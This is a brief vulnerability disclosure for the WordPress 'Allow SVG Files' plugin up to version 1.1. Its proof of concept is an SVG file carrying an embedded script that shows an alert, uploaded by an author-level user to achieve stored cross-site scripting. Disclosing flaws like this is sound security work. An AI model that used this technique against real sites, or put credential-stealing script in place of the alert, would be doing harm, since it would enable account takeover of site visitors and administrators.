Allow SVG Files <= 1.1 - Author+ Stored Cross Site Scripting via SVG

Proof of Concept

As an author or above, upload the below SVG file via the Media library:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400" />
<script type="text/javascript">
alert(/XSS/);
</script>
</svg>

The XSS will be triggered when accessing the file directly, e.g https://example.com/wp-content/uploads/2022/05/xss.svg